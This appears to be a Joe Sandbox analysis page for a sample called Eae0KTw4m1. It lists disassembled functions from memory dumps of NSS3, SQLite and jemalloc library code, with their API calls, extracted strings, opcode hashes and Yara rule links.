Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: 0e872dfed4fc8d15219de8d4e9ea07c9150c1d714c799d123ec4064f5237c711
Instruction ID: 7aba05d6edc6663b66c05c53dfb86a5aa0485aae75cbf795ee71f047aa6f76d1
Opcode Fuzzy Hash: 0e872dfed4fc8d15219de8d4e9ea07c9150c1d714c799d123ec4064f5237c711
Instruction Fuzzy Hash: 7002EFB1B043015BE714AF61A88576B36B1BBC570CF14893CD96A87B01EB74E84AC7CB

Function 6C6DEF40 Relevance: 23.4, APIs: 10, Strings: 3, Instructions: 629stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6DEF63

Part of subcall function 6C6E87D0: PORT_NewArena_Util.NSS3(00000800,6C6DEF74,00000000), ref: 6C6E87E8
Part of subcall function 6C6E87D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,6C6DEF74,00000000), ref: 6C6E87FD
Part of subcall function 6C6E87D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C6E884C

PL_strncasecmp.NSS3(oid.,?,00000004), ref: 6C6DF2D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6DF2FC
SEC_StringToOID.NSS3(?,?,?,00000000), ref: 6C6DF30F
SECITEM_AllocItem_Util.NSS3(?,00000000,-00000002), ref: 6C6DF374
PL_strcasecmp.NSS3(6C822FD4,?), ref: 6C6DF457
SECOID_FindOIDByTag_Util.NSS3(00000029), ref: 6C6DF4D2
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C6DF66E
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C6DF67D
CERT_DestroyName.NSS3(?), ref: 6C6DF68B

Part of subcall function 6C6E8320: PORT_ArenaAlloc_Util.NSS3(0000002A,00000018), ref: 6C6E8338
Part of subcall function 6C6E8320: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C6E8364
Part of subcall function 6C6E8320: PORT_ArenaAlloc_Util.NSS3(0000002A,?), ref: 6C6E838E
Part of subcall function 6C6E8320: memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6E83A5
Part of subcall function 6C6E8320: PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6E83E3

Part of subcall function 6C6E84C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000004,00000000,00000000), ref: 6C6E84D9
Part of subcall function 6C6E84C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C6E8528

Part of subcall function 6C6E8900: PORT_ArenaGrow_Util.NSS3(00000000,?,00000000,?,00000000,?,00000000,?,6C6DF599,?,00000000), ref: 6C6E8955

Strings

*, xrefs: 6C6DF3C6
", xrefs: 6C6DF21B
oid., xrefs: 6C6DF2CF

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Util$Arena$Alloc_$ErrorFindItem_Tag_strlen$AllocArena_DestroyGrow_L_strcasecmpL_strncasecmpNameStringZfreememcpy
String ID: "$*$oid.
API String ID: 4161946812-2398207183
Opcode ID: a2e3c3be6f9efc173ed560076b1b27f63e14a84e96e29fb083ef7b2b2ceb508a
Instruction ID: 6969ef0060ed1af98cd791fd643f630243f75a33240ec27a104f5c4edf4932e5
Opcode Fuzzy Hash: a2e3c3be6f9efc173ed560076b1b27f63e14a84e96e29fb083ef7b2b2ceb508a
Instruction Fuzzy Hash: 6F225A71A0C3414BD314CE69C89036AB7E6AFC931CF1A4A2EE5D587B91E731AC45C78B

Function 6C74EFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6C74C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C74DAE2,?), ref: 6C74C6C2

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C74F0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C74F0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6C74F101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C74F11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6C81218C), ref: 6C74F183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6C74F19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C74F1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C74F1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C74F210

Part of subcall function 6C6F52D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6C74F1E9,?,00000000,?,?), ref: 6C6F52F5
Part of subcall function 6C6F52D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6C6F530F
Part of subcall function 6C6F52D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6C6F5326
Part of subcall function 6C6F52D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6C74F1E9,?,00000000,?,?), ref: 6C6F5340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C74F227

Part of subcall function 6C73FAB0: free.MOZGLUE(?,-00000001,?,?,6C6DF673,00000000,00000000), ref: 6C73FAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6C74F23E

Part of subcall function 6C73BE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C6EE708,00000000,00000000,00000004,00000000), ref: 6C73BE6A
Part of subcall function 6C73BE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C6F04DC,?), ref: 6C73BE7E
Part of subcall function 6C73BE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C73BEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C74F2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C74F3A8

Part of subcall function 6C78C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C78C2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C74F3B3

Part of subcall function 6C6F2D20: PK11_DestroyObject.NSS3(?,?), ref: 6C6F2D3C
Part of subcall function 6C6F2D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C6F2D5F

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: 75e96ae3c635f28efa7f8ce88798c8eb21a9a482066330b15f0943f8d2cba69d
Instruction ID: ad6960b37653dea891fd0e42bfdcd84e5b3ee6c191c9b9fdb0cc585da36c0d4f
Opcode Fuzzy Hash: 75e96ae3c635f28efa7f8ce88798c8eb21a9a482066330b15f0943f8d2cba69d
Instruction Fuzzy Hash: 2AD18EB6E012159FEB14CFA9DA84AAEB7F6EF48308F15C039D915A7711E731E806CB50

Function 6C66ECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C66ED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C66EE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C66EF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6C66EF98

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C66F483
%s at line %d of [%.10s], xrefs: 6C66F492
database corruption, xrefs: 6C66F48D

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: 39b3c0defc8feca456175d538bdbbcea71f33032532333eeacf0d08f6dee451f
Instruction ID: d6a8896a45ae31dfbde4493e72b68ce1dbdef097ff4680c0710fa9772b16e3af
Opcode Fuzzy Hash: 39b3c0defc8feca456175d538bdbbcea71f33032532333eeacf0d08f6dee451f
Instruction Fuzzy Hash: 7462FF30A042458FDB14CF6AC884B9ABBF1BF4531CF184198D8556BF92D735E886CB9B

Function 6C5ED4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C64E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C5FD1C5), ref: 6C5ED4F2
LeaveCriticalSection.KERNEL32(6C64E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C5FD1C5), ref: 6C5ED50B

Part of subcall function 6C5CCFE0: EnterCriticalSection.KERNEL32(6C64E784), ref: 6C5CCFF6
Part of subcall function 6C5CCFE0: LeaveCriticalSection.KERNEL32(6C64E784), ref: 6C5CD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C5FD1C5), ref: 6C5ED52E
EnterCriticalSection.KERNEL32(6C64E7DC), ref: 6C5ED690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5ED6A6
LeaveCriticalSection.KERNEL32(6C64E7DC), ref: 6C5ED712
LeaveCriticalSection.KERNEL32(6C64E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C5FD1C5), ref: 6C5ED751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5ED7EA

Strings

<jemalloc>, xrefs: 6C5ED827
: (malloc) Error initializing arena, xrefs: 6C5ED82C

Memory Dump Source

Source File: 00000000.00000002.1856125987.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.1856100158.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856188128.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856217959.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1856238572.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_Eae0KTw4m1.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: f585fdd7a503a94a5115572a92b7f4c4189ea8e8a2cecf3498b5c2e13ed2e34f
Instruction ID: bc35e40dba5c69a2e18889a69b92f486e11a6336a6dd67d67e250f73c367ca0d
Opcode Fuzzy Hash: f585fdd7a503a94a5115572a92b7f4c4189ea8e8a2cecf3498b5c2e13ed2e34f
Instruction Fuzzy Hash: 6691A371A047018FD714DF29C89076AB7E2EBC9318F15C92EE59AC7A81D730E845CB86

Function 6C710EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6C710F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C710FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6C711006
PK11_FreeSymKey.NSS3(?), ref: 6C71101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C711033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C71103F
PK11_FreeSymKey.NSS3(00000000), ref: 6C711048
memcpy.VCRUNTIME140(?,?,?), ref: 6C71108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C7110BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6C7110D6
memcpy.VCRUNTIME140(?,?,?), ref: 6C71112E

Part of subcall function 6C711570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6C7108C4,?,?), ref: 6C7115B8
Part of subcall function 6C711570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6C7108C4,?,?), ref: 6C7115C1
Part of subcall function 6C711570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C71162E
Part of subcall function 6C711570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C711637

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: a3e3867451cafca517599972d3175b1240d6a7dff46099f0f34fad2991f9b930
Instruction ID: d3f256f2775afdb2b3a2594ea1ceb9de10183e5929a552ba5e03867d835e2d42
Opcode Fuzzy Hash: a3e3867451cafca517599972d3175b1240d6a7dff46099f0f34fad2991f9b930
Instruction Fuzzy Hash: 0771E1B1E082058FDB00CFA5CE89A6AF7B4BF54318F19863CE5199BB11E731D954CB90

Function 6C736C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C6E1C6F,00000000,00000004,?,?), ref: 6C736C3F

Part of subcall function 6C78C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C78C2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6C6E1C6F,00000000,00000004,?,?), ref: 6C736C60
PR_ExplodeTime.NSS3(00000000,6C6E1C6F,?,?,?,?,?,00000000,00000000,00000000,?,6C6E1C6F,00000000,00000004,?,?), ref: 6C736C94

Strings

gfff, xrefs: 6C736D66
gfff, xrefs: 6C736CF5
gfff, xrefs: 6C736D30
gfff, xrefs: 6C736CFD
gfff, xrefs: 6C736D9C

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: 126a6a5d02290b677edf7cef2377ef4f4b0f185e424a42876976433a766953f7
Instruction ID: 73bc6132223f2aee67ffe4e15405be2c3f6f954c2609865aa0eca4ee98c66aaa
Opcode Fuzzy Hash: 126a6a5d02290b677edf7cef2377ef4f4b0f185e424a42876976433a766953f7
Instruction Fuzzy Hash: C3516C72B015494FC70CCDADDC526DAB7DAABE4310F48C23AE441CB786D638E906C751

Function 6C7B0F20 Relevance: 15.4, APIs: 3, Strings: 7, Instructions: 394stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,-00000001), ref: 6C7B1027
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C7B10B2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C7B1353

Strings

'%.*q', xrefs: 6C7B1217, 6C7B1292
%02x, xrefs: 6C7B12F6
%lld, xrefs: 6C7B114B
-- , xrefs: 6C7B0FF5
$, xrefs: 6C7B12A0
zeroblob(%d), xrefs: 6C7B1223
NULL, xrefs: 6C7B119E

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: memcpy$strlen
String ID: $$%02x$%lld$'%.*q'$-- $NULL$zeroblob(%d)
API String ID: 2619041689-2155869073
Opcode ID: c627d98f70d3067f57f71f61888065c6e6935966d5e8c4f191e36867f4dd96ca
Instruction ID: 0a46a6c47e0c9d32d5b8ce9205911ff80d812315b6d343e0bb2fe1e6ca066077
Opcode Fuzzy Hash: c627d98f70d3067f57f71f61888065c6e6935966d5e8c4f191e36867f4dd96ca
Instruction Fuzzy Hash: D6E1B071A083409FD714CF18C584A6BBBF1BF86348F14892DF99997B51E771E849CB82

Function 6C670FE0 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6C66CA30: EnterCriticalSection.KERNEL32(?,?,?,6C6CF9C9,?,6C6CF4DA,6C6CF9C9,?,?,6C69369A), ref: 6C66CA7A
Part of subcall function 6C66CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C66CB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6C67103E
EnterCriticalSection.KERNEL32(?), ref: 6C671139
LeaveCriticalSection.KERNEL32(?), ref: 6C671190
sqlite3_free.NSS3(00000000), ref: 6C671227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6C67126E
sqlite3_free.NSS3(?), ref: 6C67127F

Strings

winAccess, xrefs: 6C67129B
delayed %dms for lock/sharing conflict at line %d, xrefs: 6C671267

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-1873940834
Opcode ID: 9c82adf2ebd5ecad8183b66b6019ae66fb1fb4b5c8899c7b01487ebfed0f61a1
Instruction ID: 0d6e8003dd02647335e4f1024879334f06dff36ab4116841edba2a4ce1437c15
Opcode Fuzzy Hash: 9c82adf2ebd5ecad8183b66b6019ae66fb1fb4b5c8899c7b01487ebfed0f61a1
Instruction Fuzzy Hash: 0C710D317052019BDB349F65DC69A6A3375FB8631CF144A3AE92987A80DB30DC45C7EA

Function 6C67AEC0 Relevance: 13.7, APIs: 9, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6C79CF46,?,6C66CDBD,?,6C79BF31,?,?,?,?,?,?,?), ref: 6C67B039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C79CF46,?,6C66CDBD,?,6C79BF31), ref: 6C67B090
sqlite3_free.NSS3(?,?,?,?,?,?,6C79CF46,?,6C66CDBD,?,6C79BF31), ref: 6C67B0A2
CloseHandle.KERNEL32(?,?,6C79CF46,?,6C66CDBD,?,6C79BF31,?,?,?,?,?,?,?,?,?), ref: 6C67B100
sqlite3_free.NSS3(?,?,00000002,?,6C79CF46,?,6C66CDBD,?,6C79BF31,?,?,?,?,?,?,?), ref: 6C67B115
sqlite3_free.NSS3(?,?,?,?,?,?,6C79CF46,?,6C66CDBD,?,6C79BF31), ref: 6C67B12D

Part of subcall function 6C669EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6C67C6FD,?,?,?,?,6C6CF965,00000000), ref: 6C669F0E
Part of subcall function 6C669EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C6CF965,00000000), ref: 6C669F5D

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID:
API String ID: 3155957115-0
Opcode ID: e39914135e6ce69d1a8bca84dcec0f2b1e11374a7b22c899eb8f52da2c129ec6
Instruction ID: 3f1649fbc20a4542021a2d356872a312e1996ca86ba1c47b0749641411b8d9a4
Opcode Fuzzy Hash: e39914135e6ce69d1a8bca84dcec0f2b1e11374a7b22c899eb8f52da2c129ec6
Instruction Fuzzy Hash: 339122B0A002058FDB24DF64D884BABB7B1FF8530CF145A3DE41697A51EB34E841CBA9

Function 6C7F8D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C8414E4,6C7ACC70), ref: 6C7F8D47
PR_GetCurrentThread.NSS3 ref: 6C7F8D98

Part of subcall function 6C6D0F00: PR_GetPageSize.NSS3(6C6D0936,FFFFE8AE,?,6C6616B7,00000000,?,6C6D0936,00000000,?,6C66204A), ref: 6C6D0F1B
Part of subcall function 6C6D0F00: PR_NewLogModule.NSS3(clock,6C6D0936,FFFFE8AE,?,6C6616B7,00000000,?,6C6D0936,00000000,?,6C66204A), ref: 6C6D0F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6C7F8E7B
htons.WSOCK32(?), ref: 6C7F8EDB
PR_GetCurrentThread.NSS3 ref: 6C7F8F99
PR_GetCurrentThread.NSS3 ref: 6C7F910A

Strings

%u.%u.%u.%u, xrefs: 6C7F8E74

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856427820.000000006C7FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856469986.000000006C83E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856489107.000000006C83F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856512312.000000006C840000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1856538446.000000006C845000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_Eae0KTw4m1.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: b59d610a7acaf3b86ca49c64778bccd41d78896be4d1a14d9f2a5b6f1553c8d6
Instruction ID: fe47ff1990f279ef74d65219c34a74a68ee80f6a352a92b3503de4580e95faee
Opcode Fuzzy Hash: b59d610a7acaf3b86ca49c64778bccd41d78896be4d1a14d9f2a5b6f1553c8d6
Instruction Fuzzy Hash: 2B029C329052518FDB148F1AC5D8366BBA2EF53348F29837AD8B15BBA2C331D946C790

Function 6C7B8FB0 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7B90DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7B9118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7B915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7B91C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7B9209

Strings

UUUU, xrefs: 6C7B9255
3333, xrefs: 6C7B925E

Memory Dump Source

Source File: 00000000.00000002.1856281024.000000006C661000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.1856260861.000000006C660000.00000002.00000001.01000000.00000007.sdmpDownload File
